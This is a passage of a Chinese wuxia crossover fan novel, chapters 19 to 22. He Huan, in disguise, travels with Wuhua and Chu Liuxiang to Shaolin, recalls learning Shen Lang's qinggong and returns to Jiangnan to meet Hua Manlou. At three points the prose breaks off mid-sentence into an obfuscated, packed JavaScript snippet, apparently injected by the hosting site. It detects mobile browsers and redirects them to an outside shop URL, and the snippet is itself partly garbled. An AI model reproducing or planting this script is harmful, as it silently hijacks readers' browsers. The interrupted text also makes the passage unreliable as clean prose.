何欢轻咳一声,“不过拙见,或有很多不足,只当没听过好了。” 楚留香微微笑着,看向何欢。他也知道如今不是讨论这个的时候,巧妙地换了话题,“你已经叫了我许多声香帅,可我还不知道怎么称呼你。” 何欢只道,“倘若不会再见,知道了姓名又能如何?倘若还会再见,如今不知道怎么称呼,下次也会知道的。” 到了这时,楚留香才看到,对方有一双如此澄澈而明亮的眼睛,万物自她眼中倒映,却不曾留下痕迹。 楚留香暗道不好,已不敢再看“她”,又想挽回一下局面,因此面露夸张苦色,看向在一旁吃茶的无花,做求饶状,“我言行无状,得罪大师的朋友了,希望大师替我求求情。” 无花道,“我与她相识也短,没这个面子可以卖。再者,香帅自己做错了事,怎可假他人之手?” 对方如今也看了过来,楚留香思忖片刻,对何欢道,“那么,我与你说一件事情,这事情对你应当很是要紧,用来讨个饶,如何?” 何欢侧耳去听。 他配合着侧过身,何欢闻见他身上若有似无的香气,听见他压低了声音,“若要尽快赶往少林寺,今夜子时可登船。” 何欢一怔,不由自主看向他的眼睛。 那是一双真诚的、格外明亮的眼睛。 19.第 19 章 若要登船,神水宫有的是办法。不过如果可以搭乘顺风船,想来会更加方便。更何况,并不是所有人都有机会能和盗帅同船的。 “真要在这儿等吗?”何欢环顾四周,“此处颇为广阔,若有人追来,行踪不好掩藏。” 他与无花目前在三人一同用饭的客栈房顶,无花单手持佛珠,低眉念着经,没有回答他。 “无花,你生气了吗?”何欢问。 “贫僧为何要生气?”无花抬起头,露出礼节性的微笑。 “生气要夜半上房顶?要与人一起做贼,还要上贼船?”何欢说到这里,似是觉得有趣,笑出声来。他一边笑一边摇头,“虽然我阅历也不算少,但这种还是头一回。” 无花看着他,神色渐渐柔和,无奈道,“和尚也没想到,有一日竟要陪人在房顶吹冷风,等天下有名的雅贼同行。” “那么,和尚能不能回答我了,在这儿等真的合适吗?真不是因为你生气了所以捉弄人罢?”他声音柔和时,沙哑中带着一点娇俏,依稀能分辨出来“女儿本音”。无花定定望着他,片刻才挪开视线。 “这里与张家相距甚远,香帅轻功独步江湖,不会将人带到这儿来的。只消他看到我们,便能轻松汇合,无需隐瞒踪迹。” “原来如此。”何欢点了点头,两人一时无话。 已渐入秋,夜风寒凉。萧瑟风起,吹得客栈边一棵梧桐树叶索索作响,一片泛黄的叶片恰好随风落在何欢手中,被他抓住。 无花见何缨抚摸落叶,神色中隐有一丝怀念。 “落叶辞树,施主可是想家了?”无花问。 何欢叹息,“月照落叶黄,不禁想起故人。” 只道故人,却平添怅然。无花不再问,只是站在风口,替她挡住瑟瑟寒风。 何欢仍在思索,从少林回来途中,应当先将小黄接走,只愿不要以此装扮撞见熟人。 子时将到,只见远处一黑衣男子转瞬即至,黑暗之中看不清他面容,身形比早晨见到时要劲瘦得多,想来是卸掉了易容,方便出行。好在能从声音中分辨一二,他低声道,“跟上。” 何欢与无花对视,看到他一点头,向前奔出,少林轻功名不虚传。 那黑影——也就是楚留香,却慢了一步,低声问,“可要我带你一程?” 何欢轻微蹙眉,“我跟得上。” 只听楚留香低笑一声,“好。”话音落下,人已远去,快要与无花齐肩。 何欢主修的轻功乃是神水宫正统轻功,借助水势有不间断奔袭万里、踏水不留痕之能。此等轻功更侧重耐力,速度却稍逊一筹。不过当初跟着王怜花习得的百般武艺之中,有一位大侠的轻功,是王怜花也不得不承认稍逊一筹的绝妙功法。 即便如今仓促之间,使出这只学了七八分的轻功,也足以让人刮目相看。这便是天下第一名侠,沈浪沈大侠的轻功。 学轻功时,还有一段趣事。 彼时何欢刚被人从神水宫秘密送来洛阳,与王怜花碰面。结果王怜花却不在洛阳。然而神水宫人并不知道,将何欢放下就走了。 也是何欢使出并非常人的一些手段,才在山西境内见到了他。只是看着他,却又有些不敢认。 王怜花衣着随意,脸上也有风霜,脸上胡子拉碴,与七年前截然不同。何欢见他终日酗酒,每到午时有人来接他出门吃饭,吃完再送回来。 何欢默默观察了他三日,第四日才能确定这人正是王怜花,便从土里钻身出来,握住他拿酒的手。 王怜花拿酒的手被死死攥住,他朦胧的醉眼往下一瞥,瞬间睁得又大又圆,他大喊一声,酒意全被吓跑。 何欢:“你叫的好大声,我好怕。” 王怜花惊魂未定:“你是什么人,这是什么武功,是谁派你来害我!” 何欢疑惑不解:“你……你忘了我了?我是小妖怪。” 他托住这人被吓掉的酒瓶,缓缓从土中爬出来,将头发拨到脑后,拍了拍身上沾着的泥巴。 “什么小妖怪……”王怜花简直想要破口大骂,脏话到了嘴边才反应过来,“哦……是你啊。原来已经七年了吗……” 他又瘫回到椅子上,懒散的:“今时不同往日,我没什么好给你的了,辛苦你来一趟,不过你还是再回那个水牢里去吧。” 何欢看向他手边的酒,又看向他那双了无意趣的眼睛。 “那我走了,再见。”他礼貌道别,就又要钻回地里。 “等等!”王怜花拉住他的衣袖,“你真就这样走了?不问问我过得好不好、有什么能帮到我的?” 何欢好脾气道:“我知道你过得不好,你被软禁在这里,酒里还有迷药,那我有什么能帮到你的吗?” 王怜花:“……” “救我出去!你这笨蛋!” 何欢按他的指示,将他偷渡了出去。结果没走两步,他就说饿了要吃最好的饭菜、渴了要喝最烈的美酒,明明药性也已经让何欢抓了药帮忙解掉,却整天躺在客栈里不愿动弹。 何欢问:“你是后悔了吗?” 王怜花震怒,“你说什么!我怎么会后悔。” “……” 他看着何欢一时精明一时呆傻的模样,简直不知道他是有意还是无心讽刺他,只是恨恨捏住他的脸颊,“你这小笨蛋、小蠢驴、小恶魔!我知道那女人一定给了你很多钱,快去给我买酒来,我要四十年以上的山西汾酒,不是金亭村的我不喝。” 何欢乖乖去给他买酒。 正提着酒望回走,突然听见后面有人在喊,“王怜花。” 他下意识回头,就被死死抓住了手腕。 “好哇,好你个王怜花,中了迷药竟还有如此手段。”抓住他手腕的是个眉眼含笑的男人,而这又毒又带着亲昵和敬佩的话,却是他身边的一艳丽女子说出口的。 那男子却在看见他双眸时,微微蹙眉,“他并非王怜花。” “什么?可他身上明明有……” “虽不是王怜花,与他应该也有关系。”男子道。 原来王怜花身上带着的香气,不是衣物的熏香,而是软禁他的人为他量身打造、寻声觅迹的香气。 何欢看向三里外的客栈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014944|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “本来还有关系,不过现在不知道还有没有。他原本还在那家客栈,不过如今应该已经跑了。” “哦?你竟要直接反水不成?”那女子诧异,随后对抓住他的那名男子说道,“沈浪,别放开他,这小子定有妖腻。” 沈浪缓缓道:“是你将他救走,却几乎没有留下一丝痕迹,好厉害的遁地术。” 何欢道:“多谢沈浪,你谬赞了。” 那女子面露迟疑,她靠近沈浪,附身过去悄悄问他,“这孩子是不是有什么毛病?”说罢指了指脑子。 “……”何欢不想说话,缓缓扭过脸不再去看她。 她却觉得有趣起来,娇笑着从另一边贴近何欢,弯下腰与他对视,“喂,你怎么知道他跑了?” “他以我为饵,诱使你们注意到我,你们既然已经被调虎离山,他再不跑的话,就是在等你们抓到他了。”何欢说着说着,突然有些不确定,“不过,也不排除他想再被你们抓到的可能。” 沈浪被他这话一哏,竟忘记了刚刚想说什么,手上力道也不由自主微微松开,正在此时,身边路过的一个岣嵝着背的老妇人顺着那女子弯腰的姿态一带,让她重心不稳向前栽去,夹起何欢就跑了。 沈浪下意识去扶朱七七,再回神眼前已经不见那妇人和那孩子的身影。 他无奈一笑,只让朱七七在原地稍等他片刻,就往一个方向追去。 “你这小没良心的,竟然说我把你当诱饵。”王怜花一边用轻功疾驰一边骂他,“你往这看什么?要不是朱七七没几个心眼挡住了我的身形,我直接就被他们发现了。” 何欢答非所问,“你累不累,我的轻功也不差的。” “说你胖你还喘上了,就那女人的轻功,怎么跟得上……” 他话音还没落,就看见越追越近的沈浪。 “……” “你的轻功好像也不是很好。” “……那你跟他去学!去吧去吧,去把这人一身武功全学来算了!”王怜花已经自暴自弃——实际上,如今他早已经没有了目标,不知该干些什么。说要逃离那人的软禁,也不知道之后该去何方。 他干脆停了下来,沈浪停下时一把将何欢塞进他怀里,“这孩子说要学你的轻功。” 沈浪闻言一愣,他单臂抱着何欢,看向王怜花。 “那你呢?” “我?我等着他学完这门名叫‘踏浪’的轻功,天天踏浪给我买酒买菜去。” 沈浪失笑摇头。 …… 此时,越过城墙向河道前行途中,何欢就已追上楚留香与无花。 楚留香于月光下见她乘月而来,轻盈恍若神仙妃子驾风而行,眼中满是欣赏,他问,“这是什么功夫,竟这般迅捷灵巧。” 月光下,他看到那只露在黑发之中、莹白如玉的耳朵,渐渐变红了。随后,听见他带着轻微颤抖的声音,说了一声,“踏浪。” “借势而起,踏浪而行,好贴切的名字。” 她的耳朵更红了,楚留香不由自主摸了摸鼻子,恍惚中,竟闻到一股暗香。 20.第 20 章 远处码头吵闹声沸反盈天,明明是深夜,烛火却照亮了一片天地水道。隔着厚重夜幕,也依稀可见人影窜动,正在查封出城水路。疏不曾想,盗帅早已身至远郊。 何欢心下调侃:想来还是不够出名,还没有到为他封锁方圆百里水道的地步。 此处水草丰茂,艰涩难行。众人涉草步入滩涂,何欢一时没注意,脚下被水草绊住,一个踉跄,身后无花以手臂轻托住他的腰背,楚留香在身前握住了他的小臂。 “多谢,我无事。”方才还在心里调侃他人,如今就受人帮助了,何欢同他们二人道谢,不再走神,专心脚下。 “小心脚下。” “此处昏暗,要当心脚下。” 两人声音重叠之时,均有讶异。 何欢搭话,“你说的船在哪里?” 无花收回手臂,静默不语。 楚留香向后看了一眼,也松开手,笑道,“藏在他人找不到的地方,很是机密,请二位稍等片刻。” 他话音落下,抬起一只手虚空捂在何欢的眼前。 何欢一怔,正要顺势闭眼,就看见手掌下方,他的外衫落地,露出被黑色鱼皮水靠紧紧裹着的健硕小腿。 原来如此,说是机密不假,掩住我的眼睛却别有原因——他以为我是女扮男装……何欢越发无奈,只这无奈中还有一点细微的动摇,宛如岸边柳梢拂面,水草在脚踝处涤荡,叫人有些心痒。 紧接着,随着他眼前的手掌撤下,不远处传来一声破水声,再望过去,视线所及之处仅有水波散开,楚留香已潜入河道深处。无花看出何欢的目光游移,状似无意般提了一句,“你可看出,他那水靠做工?” 随后,他轻笑一声,“哦,我忘了,刚刚香帅遮住了你的眼睛……那是东海的鲨鱼皮,是一位女施主替香帅收来的,很是耐用,多年如新。” 何欢一怔,问道,“大师怎么突然说起这个?” 无花手执佛珠微作揖礼,“只是见你看的出神,以为是对那水靠的材质感兴趣,贫僧多言了。” 明眼人都能看出不对。何欢垂眸,心想:他以为我喜欢上楚留香了么?我此时作何反应才合适? 思及此处,他顺手扯来一边树上的泛黄柳枝,在手中绕了两圈,顿了片刻后,轻声反驳,“我只是在想,入秋的河水,还是很凉的……只盼香帅在水里不要抽筋才好。” 远处河道突然泛起涟漪,适应了暗处的眼睛,如今便可清晰看到水中央出现的人影。水面上月影一圈一圈迭代开来,天边月与水中银波交相辉映,而那人肩披湿发,踏月而来。他手中牵着船的锚绳,自他身后看去,是一艘不小的木船。发力间,来人露出漂亮而流畅的躯体线条,面上却显得轻松写意,双眸含笑道:“刚刚出水,怎么就听见好像有人说我坏话?” 何欢松开了手中的柳枝,“嘴硬”:“是谁,我怎么没听到。” 这样说着,他的目光自船底阴影一扫而过。 “那就是我听错了。无花大师,还有这位依旧不打算告诉我姓名的小兄弟,上船吧。” 这船出水时疏水性极强,应当是用了上好的桐油。无花率先上船,这人僧鞋踩在木船上时,何欢才发觉,他鞋底竟没有沾到半分泥土。 楚留香注意到他的犹豫,凑过来问,“怎么了?” “鞋袜染尘,怕弄脏了船,大师怪罪。”何欢看向无花,如是说道。 无花无奈,“风餐露宿了几日,怎么如今反而在意起这个。” 楚留香哈哈大笑:“是,我从未见过像他这般爱洁的人。以至于现在告诉我你们曾结伴而行,还在野外风餐露宿,我是怎么也不相信的。” 何欢眉眼含笑,问无花,“真的么?” 无花叹了口气,并未正面回答,只道,“诸位,没记错的话,我们中应该有人着急赶路、有人还在被通缉,就不要站在这里聊这琐事了,让这船先驶出去吧。” 楚留香拾起刚刚的外衫递给何欢,“正好脏了,不如用它擦一擦。”他看见何欢的眼神,又解释,“船上有衣服……就在无花大师左手边,劳烦大师一会递给我。” 待何欢收拾好上船,背对楚留香坐好,无花就将包好的衣服递了过去,一阵窸窸窣窣声后,楚留香单手撑住船舷一跃而上,就坐在两人中间、三人一线,与何欢面对面。这一下来的突然,船竟然也没什么晃动,无怪他人说楚留香轻功独步武林。只见他拿起船桨慢摇几下,船便掠过湖面向宽广水道驶去,在悄无声息中离城郊码头越来越远。任谁看过来,也不过是芦苇摇晃、无人影踪。 何欢见无花正襟端坐的模样,有了判断。 果然,无花想要在何欢面前营造出,待他与常人并不相同、格外亲近的假象。他对何缨…或者说对何缨背后的神水宫必定有所图谋,而楚留香也在其隐瞒的范畴之内,表明在此事上他们并非同谋。 他究竟想要什么?何欢出神:他是少林寺方丈的高徒、自小便研读佛法,在江湖上颇负盛名。他天资出众,领悟力极强,只要想学,便没有什么学不会的。 倘若他已经有了这样多,还在暗中谋求它物,那么索图又会是多么昂贵的东西? 他与王怜花何其相似……他们背后的原因、所图的目的,是否也有重合呢? 楚留香看见何欢怔怔望着无花的方向,心中暗叹一声,想要转移她的注意力,免得少女错付深情,就指着水道说:“从此向南去,再有一个时辰就汇入主河道,需换乘大船才好走。不过若想去少林……我们需得从那儿别过了。” 这话说出,他心中怅然也随话音散在空中,只道,“还不说你的名字吗?” 何欢有些迟疑。倘若给出“何缨”这名字也罢了,总归要再用不知多久。但…… 楚留香只见她垂下头,手指在船体上轻轻画圈,好似在犹豫什么,最终还是没有开口。他了然一笑,不再搭话。 江湖何其之大,有幸遇见时怎能不笑靥盈盈,谈笑风生。如今同乘江上孤舟,离别在即,相顾无言,又只能感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024201|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到秋意瑟瑟,格外冷清。 …… 待到道别时,无花先行下船,楚留香让开位置让何欢借过。与他擦肩时,听到一句低低的:“下次易容,切记要用肉色膏子,遮住耳畔两点……胭脂色。” 何欢:“……” 楚留香被她瞪了一眼、踩上一脚,心情却好不少。他笑着挥挥手,送别两人,船身一转,往水更深处去。 …… 自码头转道向东,汇入海口,一艘深色大船已在不远处等着。楚留香将船驶近,大船上便放下滑轮起重,连船带人一并毫不费力的吊了上来。 甲板上,穿着红衣服的圆脸少女宋甜儿正趴在船舷望风,她笑的灿烂,一见楚留香就问,“珊瑚呢!” 划了这许久的船,饶是铁人也该累了。楚留香上来后就躺在甲板搁置的躺椅上,不想动弹。闻言只抬抬下巴,示意她去看那艘木船。船腹内部有一暗箱,正是存放珊瑚的好地方。 “这样大的珊瑚……”宋甜儿惊叹。 “可惜,若要卖出去,得拆分打磨后才方便。”从宋甜儿身后走来一位娉婷少女,幽若出尘玉兰,穿着件鹅黄色的外衫,衬得气质更是清新动人。 “红袖姐姐,怎么又从后面突然说话,吓人一跳。”宋甜儿拍拍自己的胸脯,小声抱怨。 李红袖戳戳她的脑袋,她便乖乖让开。 李红袖走近去看这株珊瑚品相,看着看着,突然发现珊瑚底下有一抹白色丝帕,好似还包裹着东西,“这是什么?” 她拿起来端详时,楚留香正好懒懒望过来,却猛地睁大了双眼。 那条昂贵莹白的丝绸帕子里,包裹着一对极为精巧的水珠状耳铛,耳铛被拿起时,露出右下角一抹红色的花朵刺绣,从这个角度望去,花瓣中心正是一个“缨”字。 “是我的东西,落在里面了。”他起身,向李红袖伸手去讨,红袖看了他一眼,把东西拍在他手上,带着些酸气道:“人家给你的东西,怎么不好好收好,还落在这了。我不说是不是根本发现不了?万一给人家丢了呢,你又待如何?” “是我的不是。”楚留香不做反驳,反手将帕子裹在手心里,退开两步,“累了累了,先去洗个澡。” 他转身,三步并作两步往船舱内走去,手里握着帕子思索——她是什么时候发现的?又是什么时候将这些东西放了进去? 是临走?不,不会。是上船时候?又或者……更早。 原来她早早就知道这珊瑚藏在哪里,也知道我看破了她的易容。楚留香把玩手中耳铛,低笑出声。 笑罢,他将那耳铛轻轻放在一旁,又去端详那帕子上的花。 这花的样式奇特,犹如丝缕密密织成,好似女儿心事。 凑的近了,便再次闻到一股熟悉的清雅香气。 心思通透、武功高强,又自带连他这个鼻子不怎么管用的人也能闻到的暗香。他心跳不自觉有些快,心中柔情如潮,想:这个缨……莫非是仙妾采香垂佩缨的缨么? 21.第 21 章 说回何欢与无花这边。 无花见楚留香离开了,何缨还在向那边张望,张口提醒他:“英弟,人已经走远了。” 却不曾料到对上何欢似笑非笑一张脸,“怎么,大师不叫施主,又改称英弟了?” 无花望着他,半晌才哑然失笑,“施主竟在这里等着贫僧么?” 他生得一双桃花眼,三份柔情也被笑成了十分。 何欢背手,故作镇定的咳了两声,“大师老不老实,我得试一试。” 寅时渡口并无人烟,两人相视而立,自河面吹起微风拂过何欢发梢,一缕扬起的发丝吹拂到了无花面旁,被他伸手捻住。风停时又自他指尖滑落。 那抹香气更加明显,不仅萦绕在指腹,连鼻尖也全是这叵测香气。无花叹了口气,“我实在不该答应与你一同出行。” “哦?为什么?”何欢期待他的回答。 “只因为船行静水,风吹幡动,徒惹涟漪。” “真是隐晦啊,我书读得少,听不明白。”何欢步步紧逼。 无花却不再回应,只道:“施主,你易容出来,实在是不该再熏香。” 何欢被转移了注意力,奇道:“什么?我没有熏香啊。再说,即使出门前还有宫内合水香的余味,如今也该散尽了。” 无花望向他,张口却无言。渡口渐渐上人,看见无花时有窃窃私语。 “走吧,还要赶路呢。” …… 若即若离,情似有时却抽身而去。何欢看向试探之后又一次仓惶离席、返回客房的无花。等再不见他身影,何欢把玩手中只剩茶底的杯子,放在鼻下轻嗅。 茶的涩意很好的掩藏了药的味道。药量并不重,闻起来几近于无。若非曾为多人试药,又怎会有这种分寸。只怕一路而来,他等的都是这个机会。说起真情,两人之间或许一丝也无。 距离少林已经不过百里。在这人迹罕至的小旅店之中,有几人是无辜的呢? 他环视过低着头的掌柜、擦桌子的店小二。 片刻后,他将茶杯轻轻放下,转身上楼。 夜深时,何欢拿出匕首,一手执刀,稳稳划开自己的手腕。滴落的液体是湿滑的红色,血腥气中掺杂浓郁的草木枝叶味道,初闻有些腥气,闻久便令人格外迷醉,熏熏然不知所以。 他定定看着这好似鲜血的液体滴落,落在地板上,渗入客栈每一寸木材之中。感觉差不多时,便将匕首放置与桌上,抬手抹去手腕痕迹, “入梦吧……” “喂,再放点血给我。”是王怜花的声音。 何欢摇头:“七七姐说,你会用它做坏事,不准给你。” 王怜花不满:“怎么你喊我是师傅、沈浪是叔叔,朱七七就变成姐姐了?” 何欢不知道怎么回答他。 “罢了罢了,好像没你的血我就做不成事了一般……” …… 以你的天资,不学摄魂大法就是暴殄天物。”王怜花躺在躺椅上,没话找话。 “……” “你到底为什么不想学?你知道有多少人跪下来求我,我都没教给他们吗?” “骗人的把式,有什么好学。” “哈?”王怜花眉毛拧成一团,“什么意思?你嫌弃我的功法?” “不是,”何欢觉得难以解释,索性手指并刀划开自己的指尖皮肤,将血抹在王怜花头上,王怜花对他没什么防备,直接被他偷袭成功,不可置信的看着他依旧一副老实样子道:“只是,我生来就会。” “我可以让人们在梦中获得自己想要的一切,这时候人心便放松了,想对他们做什么都可以。”他这边解释着,王怜花虽朦胧还在努力竖起耳朵听,却早已动弹不得。他眼前有无数画面闪过,最终,定格在其中一幅上,整个人至此坠入梦境。 等王怜花醒来,只是做沉默不语状,没有扯何欢的脸也没有大骂他。何欢有些迷茫,问:“你又生气了?不想理我?” 王怜花看他许久,终于露出坏笑:“不,我只是想到了,你必须得学这摄魂大法才行。只叫人做美梦有什么稀奇,能编织似真非假的梦境,让人分不清真假,才是乐事。” 他强硬要求,何欢无奈,只想着学了也未必会用。 “当真用上了啊。”何欢叹一口气。 无花意志坚定,且身怀秘密,摄魂大法难以以假乱真,姑且顺着他的幻想织就一夜幻梦,只关注他日后有何举动就好。但这黑店中每一个帮凶、过往所做的每一件坏事,都会在他们自己的梦境之中、在自身上反噬,日夜不休。 这是何欢第一次使用这等“邪术”。然而不同于摄魂大法,众人也不知道自己身中此法,只会怀疑恶事做尽所以孽障缠身。此法便永远不会被旁人知晓。 …… 第二日,无花开始避着何欢走。这倒是意外之喜。 何欢只需偶尔凑上前去与他说些似是而非的话,就可以与他保持距离了。相较之前句句揣摩、一举一动皆要表演轻松得多。 就这样,两人马不停蹄到了少林寺。无花率先告辞,何欢由他师弟带去拜访少林中的天字辈师叔。 在得知他的来意之后,少林倒也没有推诿。毕竟水母阴姬一向与少林保持着良好的香油往来。 在大师给出的几本推荐功法中,何欢适量着选择了最适合弥补神水宫心法的一本《少阳功》。 领他来参悟的是天韵大师,大师身形手长高挑,手指尤其颀长,骨节突出,应当是练的指功。他面上却圆润,眉须皆白,笑容和蔼。 天韵大师问:“施主一路劳累了,要不要一起用顿斋菜啊?” 何欢闻言道:“素闻少林寺素斋美誉,有劳大师了。” “使得使得。”老和尚摸着胡子笑眯眯出去了。 不曾想,这顿饭竟是无花来送。只见他端着饭盒进来,将四菜一汤放在桌上,施了一礼正要离去,就听见天韵大师招呼,“师侄,不妨一同用膳。”然后又转过头来与何欢说:“这孩子手艺很好的,就是最近不怎么做饭了。不过与你关系倒是好,听说你要吃素斋,就愿意去食堂做饭了。” 无花无奈:“师叔既然要求了,弟子又怎敢不从。” “哈哈,这不是你与何施主相熟,我才好意思麻烦你嘛。老和尚是沾了小施主的光。” 何欢听着无花与天韵聊了些外出琐事,又聊了聊佛理。他与此道却没什么了解,只是安静用饭。 无花的手艺,着实不错。 饭毕,天韵大师摆了摆手,“你们自去吧,我去巡经了。” 何欢与无花两人漫步于竹林,四下俱静,更能听到远处佛音。 无花率先开口:“施主可得到想要的了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033278|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>何欢点头:“少林功法,着实精妙。只一些皮毛,应该就足够调理宫里弟子们的身体了。” “那就好。” …… “大师想说什么,直说就是。”何欢看他欲言又止,就直接催促他。 “施主……什么时候动身回去?” “原来是要问这个?我明日就走。”何欢道,“怎么,大师怕我久待吗?” 无花又不说话了。 这与他想的不一样。何欢心下暗忖,又或者,这是如今流行的手段? 竹影扰动,何欢一时之间也无话。安静时两人之间便无谎言,这也很好。 “素炒蟹粉,可还适口?” “很是鲜美,真有几分蟹的味道,是怎样做出来?” 无花笑了:“施主若知道了,又怎会继续记挂?” 他已知自己会失言,索性说罢,就双手合十,同何欢告别。 此后,何欢又去找天韵大师,询问无花的过去。他已看出,天韵大师是位心宽之人,应当好相与。 天韵大师原本慈悲的神情忽而变得肃穆,他道:“过往皆为过眼云烟,施主既与无花成了朋友,又何必在意他的过去呢?” 果不其然,无花的过去另有秘密。何欢道:“正因为与他是友人,我与他相处许久,只觉得他样样都好,唯有心中好似有迷茫不解之事。这事一定是自小就影响他颇深,才如此根深蒂固,使得他自己解决不了。我于少林待了两天,觉得此地实在庄严,具开解之能。可这许多年无花在此,竟也没有化解他这心结,我实在担忧,才有此一问。” 天韵大师愁眉,摸了摸自己的胡子:“这……我实在不可说。” “大师不必说太清楚,我只想知道他的心结因何而起,于其他并不在意。” “唉,你若与他真的交好,亲自去问他就是了。他想说就会说的,若他不想说,我怎好说出口。”天韵叹了一口气,“施主,凡事不可强求啊。” 何欢静默半晌,道:“罢,大师说的是,我怎好戳他伤疤。或许终究是我多管闲事了。” 他正要走,扶住桌角时却被不知何时挑起的木刺扎破的手指,木刺陷入手指中,只留为微不可见一点末端在外面。 天韵大师也瞧见了,有些不解:“这桌子用很久了,怎会起木刺?” “许是刚刚被带钩挂起的。”何欢无奈道。 他站在桌边,试着挑出木刺,没成想,反而流出更多血来。 “大师,”他忽然喊天韵,等天韵抬起头与他对视瞬间,瞳光忽然涣散。 再睁眼,就见何欢已经将木刺挑了出来。 天韵大师同他笑眯眯告别,还不忘挥手:“利益众生,施主有大德。” 原来天韵大师的好事,就是神水宫又捐一笔香油钱么?何欢失笑,他道,“大师慈悲济世,锦上添花之事,小子乐意之至。” …… 第二日下山时,何欢听见如泣如诉的箫声。他转身,却只有少林寺端庄而巍峨的正门,散发着庄严肃穆的气质。僧人挑水拾阶而上、合掌顺道而下,来往之间,身形交错,相同的素袍交叠,仿佛所有人都是一样的。 此时,一封信笺已经寄至神水宫总部情报部门,上书: 永宁五至十年(十五至二十年前)、邪道人士,素有恶名、曾带稚童前往少林,速查。 22.第 22 章 此事告一段落,正好如何欢之前所想,顺路回一趟江南,将小黄捎走。 何欢将一层易容卸下,如今在外人眼中,便是一娇俏可人,毫无威胁的少女。之前因为又蒙上一层易容,且在无花身侧,没有什么麻烦找上门。如今却三五不时就有人前来骚扰。 当然,也有少侠英雄救美。何欢认真道谢后,那些少侠就红着脸磕磕巴巴留下一句不用谢,再同手同脚的转身离开。 何欢观察许久,发现也有些时候,那些地皮流氓就是所谓的少侠雇来的。一般这种少侠,在不动用武力只靠嘴皮子赶走坏人之后,总会对何欢动手动脚。倘若是如此情况,他便一并解决了。将人打晕后绑了半浸在河水里,洗洗脑子。 这大概就是水母阴姬要他以女子身份看的世道。 他幼时与水母阴姬一同出门,救下被父亲绑起来,打算卖作两脚羊的宫南燕。那时回去,那就对水母阴姬发誓,要除恶扬善,荡尽天下不平事。 水母阴姬不置可否,只是摁了摁他的头。但如今想来,她应当是默认了的。 或许正因如此,在她知道王怜花在那七年之中竟做出那些事,才会与他一刀两断;也是因为如此,何欢说自己放过了“红鞋子”时,她会失望。 “母亲……”何欢喃喃,“我知道,除恶务尽。只是我如今……定夺人的生死,我真的能这样做吗?” 无知则无畏,而经历越多,越会被束缚住手脚。 到了江南,熟门熟路向自家走去。 明明离开应当不久,却有恍如隔世之感。 巷子前的门依旧开着,何欢在门外驻足一瞬,想罢还是不愿欺瞒花满楼,便又悄悄离开。 不曾想,却在自家看到了他。花满楼穿着一件浅绿色的衣袍,袖口紧束,便于行动之余也格外倜傥。如今这位倜傥的公子正在往小黄碗里添肉。而小黄摇头摆尾,看模样也很是开心。 花满楼听见门后有声响,转过身来,微笑道,“此间主人有事不在,还请姑娘过段时日再来吧。” 虽说方才还在想不必见他,如今真的碰面,哪怕不得相认,在听见他的声音,看见他仿佛可以包容一切的神情之时,仍旧觉得轻松。 花满楼只听见一位少女悦耳的声音,轻快道:“我知道,我是他的妹妹,来替他把小黄接走。” 小黄大约也认得何欢的妹妹,跑到她身边摇了摇尾巴,兴高采烈叫了两声,然后又回来埋头吃肉。 这少女对人毫不设防似的,又或许她已经从何欢那里听过花满楼的名字,也不问这人在他哥哥的院子中做什么,就坐在了小院中央的石桌旁,静静望着这边。 花满楼被她看的有些疑惑,他摸了摸自己的脸,笑问:“姑娘,我脸上是有什么东西吗?” 何欢一愣,“不,没有……公子常常过来喂小黄吗?” “偶尔前来,他将小黄养的很乖,但我仍有些担心。”花满楼站在原地,如是道。 “我替他多谢公子,劳你费心了。” 花满楼犹豫了一下,才问:“何欢他可是遇到了什么麻烦?为何要将小黄带走?” “并没有,只是他与母亲刚刚和好,家里要留他过年。小黄放在这里,只怕会寂寞。”何欢说这话,见花满楼脸上似有失落一闪而过,他话锋一转又试探道,“不过车马劳顿,家中又格外寒冷,我只担心小黄吃不消,若有地方可以让它暂住……” 花满楼也听出他话中的意思,脸上有一丝赧色:“如果信得过我,小黄可以放在我身边。” 此时,小黄也汪汪叫着,好似应和。看来花满楼在这段时间与它相处很是融洽。 “有什么信不过,”何欢闷闷笑了两声,“我听我哥说起过花公子,他对你称赞有加,说你是非常值得信赖的好友呢。” 花满楼也露出笑意:“在下亦如此认为。我与令兄意气相投,是至交好友。” 自己说这话时虽也发自内心,仍旧带了调侃,对方说这话时却显得格外真诚。何欢手指在桌子上点了两下,又问:“花公子吃过饭了没有?我请你吃饭如何?” 花满楼闻言面露愕然,他摇摇头,“姑娘远道而来,怎能要你请客。如若不嫌弃,便由我请姑娘去酒楼用膳。” 然而来的不巧,临近的酒楼已客满了。掌柜的出来低声向花满楼解释,还说如有急用可以腾出一包间来。花满楼挥扇作罢。 “叫了菜去我哥家里吃吧。”何欢又道。 